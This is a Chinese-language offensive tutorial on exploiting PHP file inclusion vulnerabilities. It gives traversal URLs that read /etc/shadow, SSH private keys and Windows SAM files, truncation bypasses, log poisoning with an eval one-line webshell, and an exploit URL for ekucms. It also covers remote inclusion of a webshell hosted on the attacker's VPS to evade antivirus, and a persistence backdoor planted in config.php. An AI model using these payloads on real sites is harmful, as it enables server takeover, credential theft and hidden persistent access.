文件包含
在开发中,重复使用的代码函数开发人员会汇总放到单个文件中,需要使用某个函数时直接调用此文件。这个调用过程称为文件包含。为了使代码更灵活将被包含的文件设置为变量用来进行动态调用。这就导致客户端可以调用一个恶意文件,造成文件包含漏洞。文件包含漏洞在php中居多。造成执行任意代码、包含恶意文件控制网站、敏感文件读取等危害
常见文件包含函数
- include():执行到include时才包含文件,找不到被包含文件时产生警告,但是脚本继续执行。
- require():程序一运行就包含文件,找不到被包含的文件产生致命错误,脚本停止运行
- include_once&require_once():include_once/require_once函数行为与include/require类似,区别在于他们只做一次包含,即如果文件中代码已经被包含则不会再次被包含
利用条件
- 程序用include()等文件包含函数通过动态变量的方式引入需要包含的文件。
- 用户能够控制该动态变量
- 配置文件php.ini中参数allow_url_fopen=open,此参数默认为open
- 远程包含则需要php.ini中参数allow_url_include=open,此参数默认为close
利用思路
- 本地文件包含:上传带有shell代码的任意格式文件,利用文件包含漏洞将该文件当作脚本格式解析。
- 远程文件包含:在远程服务器上放置大马以此绕过杀软提权
- 包含日志文件getshell
- 包含data:或php://input等伪协议
- 若有phpinfo则可以包含临时文件
- 如果一个网站有文件包含但是无法getshell,尝试在旁站上上传图片马,然后进行文件包含拿shell
实例:
例如有news.php文件,文件内容未:
<?php
$test=$_GET['id'];
include($test);
?>
此时该文件存在文件包含漏洞。include函数通过动态变量的方式引入需要包含的文件,若用户能控制该变量;在同级目录下上传test.txt文件,内容为:
<?php phpinfo()?>
- 此时访问测试:http://192.168.1.3/fileinclude/news.php?id=test.txt。将test.txt文件传送给id参数并复制给test变量,然后txt文件被当作php脚本脚本文件执行。
- 同时也可以任意包含,根据物理路径读取服务器敏感文件:
http://192.168.1.3/fileinclude/news.php?id=c:\\1.txt
www.test.com/test.php?test=../../../../../etc/passwod
www.test.com/test.php?test=/etc/shadow
www.test.com/test.php?test=/etc/php5/apache2/php.ini
www.test.com/test.php?test=/etc/mysql/my.cnf
www.test.com/test.php?test=/etc/apache2/apache2.conf
-------------------------------------------------------------------------------
windows敏感文件:
c:\\boot.ini
# 查看系统版本
c:\\windows\\system32\\inetsrv\\metabase.xml
# 查看iis配置文件
c:\\windows\\repair\\sam
# 存储系统初次安装的密码
c:\\program files\\mysql\\my.ini
# mysql配置文件
c:\\program files\\mysql\\data\\mysql\\user.myd
# mysql root密码
c:\\windows\\php.ini
# php配置信息
c:\\windows\\my.ini
# mysql配置信息
-------------------------------------------------------------------------------
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
附加后缀截断
例如包含读取/etc/passwd文件,网站会给一个后缀形成如:/etc/passwd.php,导致无法读取文件内容。具体代码如下,此时该代码存在文件包含漏洞,由于在漏洞利用被包含的文件会被添加上.php,无法直接利用:
<?php
$test=$_GET['id'];
include($test).'.php';
?>
我只知道绕过方式有两种。
第一种:%00截断
http://www.test.com/test/a.php?c=1.txt%00
注意:%00截断包含适合php版本<5.3.4,对应版本的配置文件magic_quotes_gps=off,才能够进行绕过。否则%00会被转义
第二种:文件名附加./././././.进行长度截断
http://www.test.com/test/a.php?c=1.txt/././././././././././././././././././
注意:Windows服务器字节长度应大于256,Linux要大于4096
包含日志拿shell
日志路径
#文件包含漏洞读取apache配置文件
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
/var/log/httpd/access_log #Linux默认访问url的日志
#网站访问日志无权限访问,但是cms本身会记录错误日志,这种日志可以访问
拿shell步骤
例如:
1.访问www.test.com/index.php?id=1<?php @eval($_POST[a]);?>
2.后台在/var/log/httpd/acess_log 会生成带有一句话的日志,相当与我们将一句话写入了网站目录
3.然后根据文件包含漏洞>访问www.test.com/index.php?file=…/…/…/…/var/log/httpd/acess_log
4.然后菜刀连接,getshell
实例:ekucms模版本存在文件包含漏洞
①通过访问该url,将一句话木马写入日志文件中
http://192.168.1.3/ekucms2.4.1/?s=my/show/id/{~eval($_POST[x])}
②该日志是以时间日期命名的,用菜刀连接该日志文件,得到shell
http://192.168.1.3/ekucms2.4.1/?s=my/show/id/\..\temp\logs\20_05_18.log
读源代码
读php文件读出来是代码编译解析后的结果,并不能看到源代码。
http://192.168.1.3/fileinclude/news.php?id=shell.php
使用封装伪协议读取:
http://192.168.1.3/fileinclude/news.php?id=php://filter/read=convert.base64-encode/resource=shell.php
//核心代码:id=php://filter/read=convert.base64-encode/resource=
//读出源代码,原理是将文件内容进行base64加密,使代码不运行解析,直接读出源代码。
远程文件包含
远程文件包含文件名不能为php可解析的扩展名。另外远程文件包含要确保php.ini中allow_url_fopen和allow_url_include状态为on。为躲避杀软将大马放到自己的vps上然后远程包含。
http://192.168.1.3/1.php?filename=http://www.xxxx.co/201912151576406008190696.png
远程包含限制绕过:
<?php include($_GET['filename'] . ".html"); ?>
绕过:
filename=http://www.xiaodi8.com/FI/php.txt?
filename=http://www.xiaodi8.com/FI/php.txt%23
filename=http://www.xiaodi8.com/FI/php.txt%20
filename=http://www.xiaodi8.com/FI/php.txt%00
#这里使用./././././.进行长度截断貌似行不通
权限维持
include代码绝对不会报毒。所以我们在getshell后在网站配置文件中写入包含代码(如:config.php,<?php include($_GET['x']);?>管理员一般不会修改配置文件源代码)里面插入文件包含代码。如果目标allow_url_fopen和allow_url_include状态都为on。既可以永久进行远程包含,达到权限维持的目的。